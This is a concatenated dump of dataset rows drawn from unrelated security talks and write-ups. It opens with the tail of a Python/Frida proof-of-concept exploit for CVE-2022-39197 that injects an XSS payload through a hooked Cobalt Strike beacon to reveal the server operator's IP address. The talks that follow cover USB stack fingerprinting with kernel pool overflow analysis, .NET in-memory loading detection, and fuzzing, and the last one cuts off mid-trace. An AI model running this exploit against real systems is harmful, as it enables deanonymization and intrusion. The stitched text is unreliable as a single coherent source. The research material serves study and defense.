if(Memory.readAnsiString(this.szExeFile) == 'beacon.exe')//当进程名称为beacon时修\n改其名称，可以替换成其他\n {\n Memory.writeByteArray(ptr(this.szExeFile), payload)\n console.log(\"find beacon.exe write payload\")\n }\n //console.log(Memory.readAnsiString(this.szExeFile));\n }\n });\n '''#.replace('http://127.0.0.1/',url)\n script = session.create_script(js)\n script.load()\n #resume\n frida.resume(pid)\n print('[+] Let\\'s wait for 10 seconds to ensure the payload sent!')\n #wait for 10 seconds\n time.sleep(1000)\n #kill\n frida.kill(pid)\n print('[+] Done! Killed trojan process.')\n exit(0)\ndef showbanner():\n #Thanks http://patorjk.com/ for creating this awesome banner\n banner=''' $$$$$$\\ $$\\ $$\\ $$\\ $$$$$$$$\\ $$\\ \n$$ __$$\\ $$ | $$ | $$ | $$ _____|\\__| \n$$ / \\__| $$$$$$\\ $$$$$$$\\ $$$$$$\\ $$ |$$$$$$\\ $$ | $$\\ $$$$$$\\ $$$$$$\\ \n$$ | $$ __$$\\ $$ __$$\\ \\____$$\\ $$ |\\_$$ _| $$$$$\\ $$ |$$ __$$\\ $$ \n__$$\\ \n$$ | $$ / $$ |$$ | $$ | $$$$$$$ |$$ | $$ | $$ __| $$ |$$ | \\__|$$$$$$$$ \n|\n$$ | $$\\ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |$$\\ $$ | $$ |$$ | $$ \n____|\n\\$$$$$$ |\\$$$$$$ |$$$$$$$ |\\$$$$$$$ |$$ | \\$$$$ |$$ | $$ |$$ | \n\\$$$$$$$\\ \n \\______/ \\______/ \\_______/ \\_______|\\__| \\____/ \\__| \\__|\\__| \n\\_______|\n CVE-2022-39197 PoC by @TomAPU\n '''\n print(banner)\nparser = argparse.ArgumentParser(description='''This is a PoC for CVE-2022-39197, \nallowing to disclose CobaltStrike users' IP addresses by an exploit of XSS.(Well, \nclearly I haven't figure out how to trigger an RCE).\nWARNING: This tool works by executing the trojan generated by CobaltStrike and hooking \nGetUserNameA to add XSS payload to beat the server. So, please, execute it in a \nvirtual machine!\nCurrently, this POC only supports X86 exe payloads, and of course, works on Windows.\n''')\nparser.add_argument('-t', '--target', help='target trojan sample', required=False)\nparser.add_argument('-u', '--url', help='URL for server to load as img, considering \nthe limit of length, it should be less than 20 bytes', required=False)\nif __name__=='__main__':\n showbanner()\n args = parser.parse_args()\n if args.target and args.url:\n if len(args.url)>20:\n print('[-] URL should be shorter than 20 bytes :(')\n exit(-1)\n spoof_user_name(args.target,args.url)\n else:\n parser.print_help()\nfrada脚本的编写就不继续赘述了，累了。除了这种⽅式以外还可以基于开源的已经实现全套协议的\nhttps://github.com/darkr4y/geacon 来直接修改打⼊payload。\n0x06 修复建议 \n修复的话这边可以⽤橙⼦酱发在赛博回忆录星球的⼀个临时布丁来关闭swing的html渲染，这样可以暂时\n性的解决这个问题，但是我现在相信，cs的下⼀波RCE可能会很快就来了。\n0x07 总结 \n在短短的⼏天内真的学了太多东⻄了，我基本是完全不懂java的，⼤部分时候都是⼀知半解的，这⾥要强\n烈感谢群友尤其是panda师傅的鼎⼒⽀持，给了我太多的帮助以⾄于我的复现不⾄于太掉链⼦，如果单凭\n我⾃⼰估计⾄少要两周起步了。\n整个过程涉及到jdk以及cs，分析的复杂度还是挺⾼的，不得不说北⾠是真⽜逼。"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":43,"cells":{"text":{"kind":"string","value":"Revealing Embedded Fingerprints: \nDeriving intelligence from USB stack \ninteractions \n Andy Davis, Research Director NCC Group \nImage from: p1fran.com \nUK Offices \nManchester - Head Office \nCheltenham \nEdinburgh \nLeatherhead \nLondon \nThame \nNorth American Offices \nSan Francisco \nAtlanta \nNew York \nSeattle \nAustralian Offices \nSydney \nEuropean Offices \nAmsterdam - Netherlands \nMunich – Germany \nZurich - Switzerland \nAgenda \nPart One: \n• Overview of the USB enumeration phase \n• Different USB stack implementations \n• USB testing platform \n• Installed drivers and supported devices \n• Fingerprinting USB stacks and OS versions \nPart Two: \n• The Windows 8 RNDIS kernel pool overflow \n• Challenges faced when exploiting USB bugs \n• Conclusions \nPart One: Information gathering \n• Why do we care? \n• If you connect to a device surely you already know the platform? \n• Embedded devices are mostly based on Linux anyway aren't they? \n• May provide information useful for other attacks \nUSB Background stuff \nImage from: blog.brickhousesecurity.com \nOverview of the USB enumeration phase \n• What is enumeration for? \n• Assign an address \n• Speed of communication \n• Power requirements \n• Configuration options \n• Device descriptions \n• Class drivers \n• Lots of information exchange – implemented in many different ways \nImage from :http://ewalk2.blog117.fc2.com \nThe USB enumeration phase \nEnumeration phase peculiarities \n• Why is the device descriptor initially requested twice? \n• Why are there multiple requests for other descriptors? \n• Class-specific descriptors: \nDifferent USB stack implementations \n• Typical components of a USB stack \n• Windows USB driver stack \n• Linux USB stack \n• Embedded Access USB stack \nImage from: blogs.msdn.com \nTypical components of a USB stack \n• Host Controller hardware \n• USB System software: \n• Host Controller Driver – Hardware Abstraction Layer \n• USB Driver \n• Class drivers \n• Application software \nImage from: www.wired.com \nWindows USB driver stack \nImage from: msdn.microsoft.com \nLinux USB stack \nImage from: www.linux-usb.org \nEmbedded Access USB stack \nImage from: www.embedded-access.com \nInteracting with USB \nImage from: www.nvish.com \nUSB interaction requirements \n• Need to capture and replay USB traffic \n• Full control of generated traffic \n• Class decoders extremely useful \n• Support for Low/High/Full speed required \n• USB 3.0 a bonus \nUSB testing – gold-plated solution \n• Commercial test equipment \nUSB testing – the cheaper approach \n• Facedancer (http://goodfet.sourceforge.net/hardware/facedancer21) \nBest solution: A combination of both \n•\nDevice data can be carefully crafted \n•\nHost response data can be captured \n•\nMicrosecond timing is also recorded \n•\nAll class-specific data is decoded \nInformation enumeration \nImage from: network.nature.com \nTarget list \n• Windows 8 \n• Ubuntu Linux 12.04 LTS \n• Apple OS X Lion \n• FreeBSD 5.3 \n• Chrome OS \n• Linux-based TV STB \nInstalled drivers and supported devices \n• Enumerating supported class types – standard USB drivers \n• Enumerating all installed drivers \n• Other devices already connected \nEnumerating supported class types \nWhere is USB class information stored? \nDevice Descriptor \nInterface Descriptor \nInstalled drivers and supported devices \n• Drivers are referenced by class (Device and Interface descriptors) \n• Also, by VID and PID: \n• For each device class VID and PID values can be brute-forced \n(can easily be scripted using Facedancer) \n• Valid PIDs and VIDs are available (http://www.linux-usb.org/usb.ids) \nEnumerating installed drivers \nNot installed: \nAll communication stops \nafter “Set Configuration” \nInstalled: \nSniffing the bus - Other connected devices \n• Data from other devices will be displayed on other addresses \nFingerprinting USB stacks and OS versions \n• Descriptor request patterns \n• Timing information \n• Descriptor types requested \n• Responses to invalid data \n• Order of Descriptor requests \nMatching req. patterns to known stacks \nLinux-based TV STB \nWindows 8 \nRequest patterns unique elements? \n• Windows 8 (HID) – Three Get Configuration descriptor requests (others have two) \n• Apple OS X Lion (HID) – Set Feature request right after Set Configuration \n• FreeBSD 5.3 (HID) – Get Status request right before Set Configuration \n• Linux-based TV STB (Mass Storage) – Order of class-specific requests \nTiming information \nTiming information \nUsing timing for fingerprinting? \n• Large amount of variance over entire enumeration phase: \n• 4.055s, 3.834s, 3.612s, 3.403s, 3.089s \n• Much greater accuracy between specific requests: \n• Between String Descriptor #0 and #2 requests - 5002us, 5003us, 5003us, 4999us, 5001us \n• If we know the OS we can potentially determine the processor speed \nDescriptor types requested \n• Microsoft OS Descriptors (MOD) \n• Used for “unusual” devices classes \n• Devices that support Microsoft OS Descriptors must store a special USB string \ndescriptor in firmware at the fixed string index of 0xEE. The request is: \n• If a device does not contain a valid string descriptor at index 0xEE, it must respond \nwith a stall packet. If the device does not respond with a stall packet, the system will \nissue a single-ended zero reset packet to the device, to help it recover from its stalled \nstate (Windows XP only). \nResponses to invalid data \n• Different USB stacks respond to invalid \ndata in different ways \n• Maximum and minimum values \n• Logically incorrect values \n• Missing data \nImage from: windows7.iyogi.com \nInvalid data unique elements? \nWindows 8 (all versions) \nIf you send a specific, logically incorrect HID Report descriptor this happens: \nInvalid data unique elements? \nWindows 8 (all versions) \nIf you send a specific, logically incorrect HID Report descriptor this happens: \nOrder of Descriptor requests \n• Some USB stacks request data from devices in a different order \n• Different drivers may request different descriptors multiple times \n• Sometimes Device descriptors are re-requested after enumeration is complete \nPart Two: Potentially exploitable \nUSB bugs \nImage from: www.biro-media.hr \nThe Windows 8 RNDIS kernel pool overflow \n• MS13-027 \n• usb8023x.sys - default (Microsoft-signed) Windows Remote NDIS driver that \nprovides network connectivity over USB. \n• When a USB device that uses this driver is inserted into a Windows host, during the \nenumeration phase the USB Configuration descriptor is requested and parsed \n• When the following USB descriptor field is manipulated a Bug check occurs \nindicating a kernel pool overwrite: \n•\nConfiguration descriptor --> bNumInterfaces field > actual number of USB interfaces \nThe field is “bNumInterfaces” in Table A2: USB Configuration Descriptor \n(http://msdn.microsoft.com/en-us/windows/hardware/gg463298) \nThe Bug Check \nBAD_POOL_HEADER (19) \nThe pool is already corrupt at the time of the current request. \n<Truncated for brevity> \nArguments: \nArg1: 00000020, a pool block header size is corrupt. \nArg2: 83e38610, The pool entry we were looking for within the page. \nArg3: 83e38690, The next pool entry. \nArg4: 08100008, (reserved) \n<Truncated for brevity> \nWARNING: SystemResourcesList->Flink chain invalid. Resource may be \ncorrupted, or already deleted. \nWARNING: SystemResourcesList->Blink chain invalid. Resource may be \ncorrupted, or already deleted. \nSYMBOL_NAME: usb8023x!SelectConfiguration+1bd \nThe SelectConfiguration() function \nThe crash point \nAnalysis #1 \nWhen bNumInterfaces = 3 (one more than it should be) and bNumEndpoints = 2 \n(valid value) \nNext kernel pool: \n849c3b28 10 00 0a 04 56 61 64 6c-6b 8f 94 85 28 8c 90 85 ....Vadlk...(... \nbecomes: \n849c3b28 00 00 0a 04 56 61 64 6c-6b 8f 94 85 28 8c 90 85 ....Vadlk...(... \nSo we’re overwriting \"PreviousSize\" in the next nt!_POOL_HEADER - this is what \ntriggered the original Bug Check when ExFreePool() is called \nAnalysis #2 \nWhen bNumInterfaces = 3 (one more than it should be) and bNumEndpoints = 5 \n(three more than it should be) \nNext kernel pool: \n84064740 17 00 03 00 46 72 65 65-48 2d 09 84 30 a8 17 84 ....FreeH-..0... \nbecomes: \n84064740 17 00 03 00 00 72 65 65-48 2d 09 84 30 a8 17 84 .....reeH-..0... \nSo we’re now overwriting \"PoolTag\" in the next nt!_POOL_HEADER \nWhat’s going on? \nkd> dt nt!_POOL_HEADER \n– +0x000 PreviousSize : Pos 0, 8 Bits \n– +0x000 PoolIndex : Pos 8, 8 Bits \n– +0x000 BlockSize : Pos 16, 8 Bits \n– +0x000 PoolType : Pos 24, 8 Bits \n– +0x004 PoolTag : Uint4B \n– +0x008 ProcessBilled : Ptr64 _EPROCESS \nBy manipulating bNumInterfaces and bNumEndpoints in a USB Configuration \ndescriptor we appear to have a degree of control over where in the next adjacent \nkernel memory pool I can overwrite a single byte with a null (the null write occurs four \nbytes after the end of the pool I control and I can also control its size and some \nelements of its contents so could also potentially overwrite the next pool header with \nsomething useful) \nSome pseudo code \nChallenges faced when exploiting USB bugs \n• Lack of feedback channel \n• The bug is often in kernel code \n• Descriptors are generally very size-constrained \n• Typical impact of USB exploitation typically restricted to privilege escalation \n• What about USB over RDP? \nImage from: leadershipfreak.wordpress.com \nConclusions \n• The USB enumeration phase reveals useful information for fingerprinting \n• Class-specific communication is potentially even more revealing \n• Even vendors with mature SDL processes have USB bugs \n• USB bugs can potentially be exploited, to provide privilege escalation \n• …but it is extremely difficult to achieve reliably \nQuestions? \nAndy Davis, Research Director NCC Group \nandy.davis ‘at’ nccgroup ‘dot’ com"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":44,"cells":{"text":{"kind":"string","value":"YOU ARE NOT HIDING \nFROM ME .NET!\nFOUR THINGS ABOUT MYSELF\nNetflix addict\nAttack detection blogger \nThreat Hunter @ Countercept\nCode junkie\nTHE AGENDA\nDetect\nWhy .NET ?\nIN THE NOT SO DISTANT PAST \nPowerShell\nVBScript\nOffice Macros\nPOWERSHELL, A HOT FAVOURITE\nLoad shellcode \ninto memory\nCall upon \n.NET API\nCall upon \nnative API\nPowerful\nDEFENCES ARE GETTING BETTER\nEDR AGENTS\nCommand Line Arguments Logging\nCommandLine\npowershell write host “This is an evil command”\nParent-Child Process Relationship\nDEFENCES ARE GETTING BETTER\nAMSI assisting Anti-Virus with script-based detection \nPowerShell Script Block Logging to aid with detection\nINDUSTRY AS A WHOLE\nMore opportunities to \ndetect bad PowerShell\nADVERSARIES JUST DON’T GIVE UP\nInvoke .NET directly \ninstead of via PowerShell\nWHY .NET THOUGH?\nPowerful \nfunctions\nInstalled by \ndefault\nLack of \ntelemetry\n10\nLET’S COMPARE POWERSHELL AND .NET\nWrite a registry key \nthrough a .NET API\nPop a Message box \nwith a native API\n11\nPOWERSHELL VS .NET DEMO\nPOWERSHELL VS .NET \nHOW DID I EXECUTE MY .NET PAYLOAD?\nIn-memory \nassembly loading\nIN MEMORY .NET ASSEMBLY LOADING\nCompile\nSerialize\nLoad into memory\nDe-serialize\nInstantiate\nA FUN FACT\nThis does exactly the same thing\nWHAT CAN THE LOADED OBJECT DO?\nLoad shellcode \ninto memory\nCall upon .NET API\nCall upon native API\nSimilar to \nPowerShell\nMID-POINT CHECK\nChallenge: Can we detect this?\nSimilar to PowerShell\nLack of telemetry\nTHE AGENDA\nDetect\nWhy .NET ?\n…… WITH PROCESS HACKER\nProcess Hacker\nMshta.exe\nAnalyze\nDETECTING .NET LOADED DLLS\nLoading of .NET runtime DLLs can be observed \nDEFINITELY DODGY\nMSHTA typically \nonly runs HTML or \nJavaScript code!\nHOLDS TRUE FOR OTHER BINARIES\nWHAT IF A BINARY RELATED TO .NET WAS USED\nMsbuild.exe\n3rd Party Application\nNot uncommon to have .NET \nruntime DLL\nWE NEED SOMETHING BETTER\nAnd the answer lies deep \nwithin Process Hacker\n.NET ASSEMBLIES\nEvents of assembly loads\n.NET ASSEMBLIES\nLack of a path indicates potential in-memory \nassembly loads \n.NET ASSEMBLIES\nHow did Process \nHacker achieve this?\nDEEP WITHIN PROCESS HACKER\nA set of .NET ETW providers\nMicrosoft-Windows-DotNETRuntime\nMicrosoft-Windows-DotNETRuntimeRundown\nPROOF-OF-CONCEPT\n.NET ETW\nConsumes\nLET’S TRY TO DETECT MY ATTACK\nIndicators for in-memory \nassembly load\nIndicators for .NET API \nrelated to registry creation\nIndicators for invoking of native API\nIN-MEMORY ASSEMBLY LOAD\nEvents \nrelated to \nin-memory \nassembly \nload\nLoading of .NET \nassemblies\nJust In Time \ncompilation\n.NET CODE COMPILATION ARCHITECTURE\nCompile\nCLR\nCompile\nNative \ncode\nUpon \nexecution\nJIT \nCompiler\nCompilation time\nRuntime\nJIT COMPILATION\nEvents generated \nwhenever a .NET \nmethod is first utilized \nIN-MEMORY ASSEMBLY LOAD INDICATORS\nLoading of .NET \nassemblies\nJust In Time \ncompilation\nIN-MEMORY ASSEMBLY LOAD INDICATORS\nDetect execution of the MyAssembly\nconstructor\nREMEMBER THIS?\nIn-memory loading of assembly attempts \nto replicate the above behavior\nDETECTION SUMMARY\nIndicators for in-memory \nassembly load\nIndicators for .NET API \nrelated to registry creation\nIndicators for invoking \nof native API\nJIT ETW\nJust In Time compilation\nCan we use this? \nUNFORTUNATELY….\nJIT compilation \ndoesn’t occur for \nnative .NET assemblies\nNATIVE .NET ASSEMBLIES?\nSystem.text\nConsole.writeLine()\nWHY THOUGH?\nCompile\nNative Image Generator (NGEN) \ncompiles .NET assemblies to native \nimages, and caches them \nCache\nWHY THOUGH?\nCompile\nJIT compilation would not occur\nCache\nDETECTION SUMMARY\nIndicators for in-memory \nassembly load\nIndicators for .NET API \nrelated to registry creation\nIndicators for invoking \nof native API\n.NET ETW EVENTS\nInterop events\nINTEROP EVENTS\nEvents generated \nduring calls made to \nWindow’s native API\nNATIVE CODE\nNative function imported from User32.dll \nINTEROP EVENTS \nDetected a call towards MessageBox\nTHIS IS REALLY USEFUL\nLogging of \nkeystrokes\nCredential \nextraction from \nmemory\nOther malicious \nactivities\nDETECTION SUMMARY\nIndicators for in-memory \nassembly load\nIndicators for .NET API \nrelated to registry creation\nIndicators for invoking \nof native API\nREAL WORLD EXAMPLE, SILENTRINITY\n51\nLaunch a .NET \nassembly\nLaunch SafetyKatz, \na credential \nextraction tool \n52\nSILENTRINITY DEMO\n53\n.NET TELEMETRIES\n.NET runtime \nDLLS\n.NET ETW \nevents\nHOW ABOUT OTHER TELEMETRY?\nObjective\nLateral \nMovement\nControl\nPersistence\nExecution\nDelivery\nRecon\nAttacker\nTO WRAP IT UP\n1\n.NET isn’t that invisible\n2\nPowerShell, still \ndeadly but…..\n3\nTry it yourself!"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":45,"cells":{"text":{"kind":"string","value":"Zero Bugs Found? Hold My Beer AFL! How to Improve \nCoverage-guided Fuzzing and Find New Zero-days in Tough \nTargets \nMaksim Shudrak \nSecurity Researcher \nSalesforce \n DEF CON 27 \nAbout me \n●\nOffensive Security Researcher at Salesforce Red Team \n●\nProjects: \n○\nEAOS: Extremely Abstract Operating System for Malware Analysis (at \nIBM Research 2015-2017) \n○\ndrAFL: AFL + DynamoRIO = fuzzing binaries with no source code on \nLinux (spare time) https://github.com/mxmssh/drAFL \n○\nContributions: drltrace, winAFL, DynamoRIO, DrMemory, Ponce \n○\nPhD on vulnerability research in machine code \n●\nSpeaker: \n3 \nOutline \nI. Introduction \nII. What is coverage-guided fuzzing ? \nIII. Downsides of AFL and similar fuzzers \nIV. Introducing Manul \nV. DEMO \nVI. Case Studies + Vulnerabilities \nVII. Conclusion & Future Work \n4 \nWhat is Fuzzing? \n5 \nAAAAA \nWhat is Fuzzing? \n6 \nAAAAA \nWhat is Fuzzing? \n7 \nBAAAA \nWhat is Fuzzing? \n8 \nCAAAA \nWhat is Fuzzing? \n9 \nPAAAA \nWhat is Fuzzing? \n10 \nPWNIT \nWhat is Fuzzing? \n11 \nPWNIT \nVery unlikely! \nWhat is Coverage-Guided Fuzzing? \n12 \nAAAAA \nWhat is Coverage-Guided Fuzzing? \n13 \nAAAAA \nWhat is Coverage-Guided Fuzzing? \n14 \nBAAAA \nWhat is Coverage-Guided Fuzzing? \n15 \nCAAAA \nWhat is Coverage-Guided Fuzzing? \n16 \nPAAAA \nWhat is Coverage-Guided Fuzzing? \n17 \nAAAAA \nPAAAA \nInput queue \nWhat is Coverage-Guided Fuzzing? \n18 \nAAAAA \nPBAAA \nInput queue \nWhat is Coverage-Guided Fuzzing? \n19 \nAAAAA \nPCAAA \nInput queue \nWhat is Coverage-Guided Fuzzing? \n20 \nAAAAA \nPWAAA \nInput queue \nWhat is Coverage-Guided Fuzzing? \n21 \nAAAAA \nPAAAA \nInput queue \nPWAAA \nWhat is Coverage-Guided Fuzzing? \n22 \nAAAAA \nPAAAA \nInput queue \nPWBAA \nWhat is Coverage-Guided Fuzzing? \n23 \nAAAAA \nPAAAA \nInput queue \nPWNAA \nWhat is Coverage-Guided Fuzzing? \n24 \nAAAAA \nPAAAA \nInput queue \nPWNAA \nPWNBA \nWhat is Coverage-Guided Fuzzing? \n25 \nAAAAA \nPAAAA \nInput queue \nPWNAA \nPWNIA \nWhat is Coverage-Guided Fuzzing? \n26 \nAAAAA \nPAAAA \nInput queue \nPWNAA \nPWNIA \nPWNIB \nWhat is Coverage-Guided Fuzzing? \n27 \nAAAAA \nPAAAA \nInput queue \nPWNAA \nPWNIA \nPWNIC \nWhat is Coverage-Guided Fuzzing? \n28 \nAAAAA \nPAAAA \nInput queue \nPWNAA \nPWNIA \nPWNIT \nAmerican Fuzzy Lop aka AFL \n29 \nhttps://habr.com/ru/company/dsec/blog/449134/ \n30 \n31 \n32 \n33 \nMost Popular Languages in July 2019 \n34 \nhttps://www.tiobe.com/tiobe-index/ \nFuzzing is Very Hot Today! \n35 \n# of publications \nOSS-Fuzz Project \n●\n~160 open-source projects \n●\n~half-trillion test cases per week \nOpen Issues Count per Month \n36 \nDownsides. Volatile Paths \n37 \nAAAAAAAAA \nDownsides. Volatile Paths \n38 \nAAAAAAAAA \nABAAAAAAA \nDownsides. Volatile Paths \n39 \nAAAAAAAAA \nABAAAAAAA \nABAAAAAAA \nDownsides. Volatile Paths \n40 \nAAAAAAAAA \nABAAAAAAA \nABAAAAAAA \nDownsides. Volatile Paths \n41 \nABAAAAAAA \nABAAAAAAA \nDownsides. Volatile Paths \n42 \nDownsides. Parallelization algorithm \n●\nParallelization is an obvious solution to speed up fuzzing and find \nmore bugs. \n●\nAFL was not designed to be parallel fuzzer \n43 \nAFL master folder \nAFL slave #1 \nAFL slave #2 \nDownsides. Parallelization algorithm \n●\nParallelization is an obvious solution to speed up fuzzing and find \nmore bugs. \n●\nAFL was not designed to be parallel fuzzer \n44 \nAFL master folder \nAFL slave #1 \nAFL slave #2 \nDownsides. Parallelization algorithm \n●\nParallelization is an obvious solution to speed up fuzzing and find \nmore bugs. \n●\nAFL was not designed to be parallel fuzzer \n45 \nAFL master folder \nAFL slave #1 \nAFL slave #2 \nDownsides. Parallelization algorithm \n●\nParallelization is an obvious solution to speed up fuzzing and find \nmore bugs. \n●\nAFL was not designed to be parallel fuzzer \n46 \nAFL master folder \nAFL slave #1 \nAFL slave #2 \nDownsides. Parallelization algorithm \n●\nParallelization is an obvious solution to speed up fuzzing and find \nmore bugs. \n●\nAFL was not designed to be parallel fuzzer \n47 \nAFL master folder \nAFL slave #1 \nAFL slave #2 \nNetwork apps fuzzing. Current situation \n48 \n● Linux: \n○ AFL’s forks, honggfuzz and blind fuzzers \n● Windows \n○ winAFL network mode \n● OS X \n○ honggfuzz? \nWindows applications fuzzing \n49 \nwinAFL \nclang (libfuzzer/honggfuzz) \nOS X applications fuzzing \n● Source code is required. Target should be able \nto compile with clang \n● DynamoRIO has no official support of OS X \n● Intel PIN has partial OS X support \n50 \nSome Related Works & Tools \n●\nThe author is not the first one who wants to improve AFL. \n○\nUserland: AFLSmart, AFLFast, winAFL, libfuzzer, driller, QSYM and others. \n○\nKernel: syzkaller, kAFL, TriforceAFL and others. \n●\nSystematic research on all existing fuzzers: \n○\nValentin J.M. Manes, Hyung Seok Han, Choongwoo Han, Sang Kil Cha, Manuel Egele, Edward \nJ. Schwartz, Maverick Woo Fuzzing: Art, Science, and Engineering. arXiv:1812.00140 \npreprint. \n●\nSome Presentations at DEF CON/BlackHat: \n○\nMateusz Jurczyk. Effective File Format Fuzzing - Thoughts, Techniques and \nResults. BlackHat EU London. 2016. \n○\nKang Li. AFL's Blindspot and How to Resist AFL Fuzzing for Arbitrary ELF \nBinaries. BlackHat USA 2018. \n○\nJonathan Metzman. Going Beyond Coverage-Guided Fuzzing with Structured \nFuzzing. Black Hat USA 2019. \n51 \nState-of-the-art Userland Fuzzers \n52 \nAFL \nwinAFL \nHongFuzz \nlibFuzzer \nDesired fuzzer \nNetwork fuzzing \nNo (Unix) \nYes (Windows) \nYes \nNo \nYes \n(all platforms) \nVolatile Paths \nNo \nNo \nNo \nYes \nMultiple Mutation \nStrategies \nNo \nNo \nNo \nYes \nShare over network \nPartial \nNo \nNo \nYes \nSupported Platform \nLinux \nWindows \nOpen/NetBSD \nGNU/Linux \nWindows/Cygwin \nAndroid \nOS X \nAnywhere where \nLLVM exist \nAnywhere where \nPython exist \nLanguage \nC \nC \nC \nPython \n●\nManul - an open-source fuzzer written in pure Python. \n○\nEasy-to-use, pull and run concept. \n○\nCoverage-guided fuzzing using AFL-GCC or DBI (Intel Pin or DynamoRIO). \n○\nParallel fuzzing is a basic feature. \n○\nDefault mutators. \n○\nThird-party data mutators (Radamsa + AFL currently supported). \n○\nNetwork fuzzing is supported by default. \n○\nBlackbox binaries fuzzing. \n○\nSupported: Linux, MacOS (beta) and Windows or any other OS where Python \nexist. \nManul Overview \n53 \nWhy Manul? \n54 \nPallas’s Cat (lat. Otocolobus Manul) \nManul Architecture \n55 \nMutators \n(plugins) \nTarget \nInstrumentation \nmodule \nUser Interface \nCore Module \nCode Coverage \nAnalysis Module \nManul Network \nModule \nShared Memory \nFuzzer \nVolatile Paths Detection \n56 \nRun & Calibrate \nABAAAAAAA \nVolatile Paths Detection \n57 \nRun & Calibrate \nABAAAAAAA \nVolatile Paths Detection \n58 \nRun & Calibrate \nACAAAAAAA \nhttps://www.usenix.org/system/files/conference/usenixsecurity17/sec17-schumilo.pdf \nParallel fuzzing. Python Multiprocessing \n59 \nMain Process \nCorpus: \nParallel fuzzing. Python Multiprocessing \n60 \nMain Process \nCorpus: \nInstance #1 \nInstance #2 \nInstance #3 \nParallel fuzzing. Python Multiprocessing \n61 \nMain Process \nInstance #1 \nInstance #2 \nInstance #3 \nCorpus: \nParallel fuzzing. Python Multiprocessing \n62 \nMain Process \nInstance #1 \nInstance #2 \nInstance #3 \nCorpus: \nParallel fuzzing. Python Multiprocessing \n63 \nMain Process \nInstance #1 \nInstance #2 \nInstance #3 \nRemote Instance \n(Main Process) \nRemote \nInstance #1 \nRemote \nInstance #2 \nParallel fuzzing. Python Multiprocessing \n64 \nMain Process \nInstance #1 \nInstance #2 \nInstance #3 \nRemote Instance \n(Main Process) \nRemote \nInstance #1 \nRemote \nInstance #2 \n65 \nMain Process \nInstance #1 \nInstance #2 \nInstance #3 \nRemote Instance \n(Main Process) \nRemote \nInstance #1 \nRemote \nInstance #2 \nTarget \nTarget \nTarget \nTarget \nTarget \nSHM \nSHM \nSHM \nSHM \nSHM \nGlobal shared memory \n66 \nMain Process \nInstance #1 \nInstance #2 \nInstance #3 \nRemote Instance \n(Main Process) \nRemote \nInstance #1 \nRemote \nInstance #2 \nTarget \nTarget \nTarget \nTarget \nTarget \nSHM \nSHM \nSHM \nSHM \nSHM \nGlobal shared memory \nThird Party Mutators \n●\nAFL strategy (ported to Python) and Radamsa (as a shared \nlibrary) \nCustom Python Mutator: \n●\ndef init(fuzzer_id) \n●\ndef mutate(data_to_mutate) \n67 \nNetwork Application Fuzzing (Experimental) \n68 \nManul \nTarget \nTCP|UDP \nManul \nTarget \nTest case \n(TCP|UDP) \nConnect \nClient mode \nServer mode \nBlackbox Binaries Fuzzing \nWindows: DynamoRIO: ~x30 overhead \nLinux: Intel Pin: ~x45 overhead \n DynamoRIO: ~x20 overhead \n69 \nManul \nTarget binary \nInstrumentation lib \nSHM \nCoverage \nCoverage \nTest \n70 \nInterface & Logo \n71 \nCommand Line Arguments \n72 \nDEMO \n(Manul) \n73 \n74 \nCase Study I. Poppler \n● Poppler \nis \nan \nopen-source \nlibrary \nfor \nrendering PDF documents on GNU/Linux \n●\nMillions of users across the world. Default package on \nUbuntu \n●\nIntegrated with Evince, LibreOffice, Inkscape and many \nother applications \n● Written in C++ \n● Participate in OSS-Fuzz program (tough target) \n75 \nCase Study I. Poppler. Fuzzing Setup \n● 491 PDF files (same corpus used by OSS-Fuzz) \n● 24 hours, 78 parallel jobs \n● AFL ver. 2.52b & Manul ver. 0.2 \n● Intel Xeon CPU E5-2698 v4 @2.20GHz 1TB RAM \n76 \nCase Study I. Execution Speed \n77 \nCase Study I. Paths Found \n78 \nCase Study I. Why Manul outperformed AFL \n● Manul \ncorpus \nparallelization \nalgorithm \ndemonstrates \nbetter \nperformance \non \nlarge \ntargets \n● Radamsa + AFL is better than only AFL \n● Volatile paths suppression seems to work \n79 \nCase Study I. Manul Findings \nCVE-2019-9631. 9.8 Critical. Poppler 0.74.0 has a heap-based buffer over-read in the \nCairoRescaleBox.cc downsample_row_box_filter function. \nCVE-2019-7310. 8.8 High. Poppler 0.74.0. A heap-based buffer over-read (due to an \ninteger signedness error in the XRef::getEntry function in XRef.cc) allows remote \nattackers to cause a denial of service (application crash) or possibly have \nunspecified other impact via a crafted PDF document, as demonstrated by pdftocairo. \nCVE-2019-9959 (X.X. High) In Poppler (latest), JPXStream::init doesn’t have a check \nfor negative values of stream length thereby making it possible to allocate large \nmemory chunk on heap with size controlled by an attacker. \nNon-security related: \n1.Division by zero in CairoRescalBox::downScaleImage \n2.Null-pointer dereference in ExtGState \n3.Stack-overflow (recursion) in libcairo \n80 \nCase Study I. Poppler. CVE 2019-9631 \n81 \nCase Study I. Poppler. CVE 2019-9631 \n82 \nCase Study I. Poppler. CVE 2019-9959 \n83 \nCase Study I. Poppler. CVE 2019-9959 \n84 \nCase Study I. Poppler. CVE 2019-7310 \n85 \nCase Study I. Poppler. CVE 2019-7310 \n86 \nCase Study II. Zeek IDS \n●\nZeek (former Bro) is a world’s most powerful open-source \nnetwork analysis framework \n○\nThousand of companies use Zeek as IDS \n○\nJA3 plugin for Zeek is a very powerfull tool to detect \nsuspicious connections of malware with C2 \n●\nBroCon happens in Arlington, VA every October \n●\nWritten in C++, very high-quality code, fuzzing was done using \nlibfuzzer by development team in the past \n87 \nZeek Fuzzing Wrapper Example \n●\nImplemented for HTTP, IRC, KRB, DNP3, SSH, DNS, ICMP, LOGIN, FTP, IMAP \n88 \nCase Study II. Findings \nCVE-2018-17019 (7.5. High). In Zeek IDS through 2.5.5, there is a \nDoS \nin \nIRC \nprotocol \nnames \ncommand \nparsing \nin \nanalyzer/protocol/irc/IRC.cc \nCVE-2018-16807 (7.5. High). In Zeek IDS through 2.5.5, there is a \nmemory \nleak \npotentially \nleading \nto \nDoS \nin \nscripts/base/protocols/krb/main.bro \nin \nthe \nKerberos \nprotocol \nparser. \nCVE-2019-12175. (X.X High). In Zeek IDS, there is a DoS in \nKerberos protocol parser in analyzer/protocol/krb/KRB.cc \n89 \nCVE-2018-16807 \n#1 0x16d0f10 in binpac::KRB_TCP::proc_krb_kdc_req_arguments(binpac::KRB_TCP::KRB_KDC_REQ*, \nanalyzer::Analyzer*) \n#2 0x16d0994 in 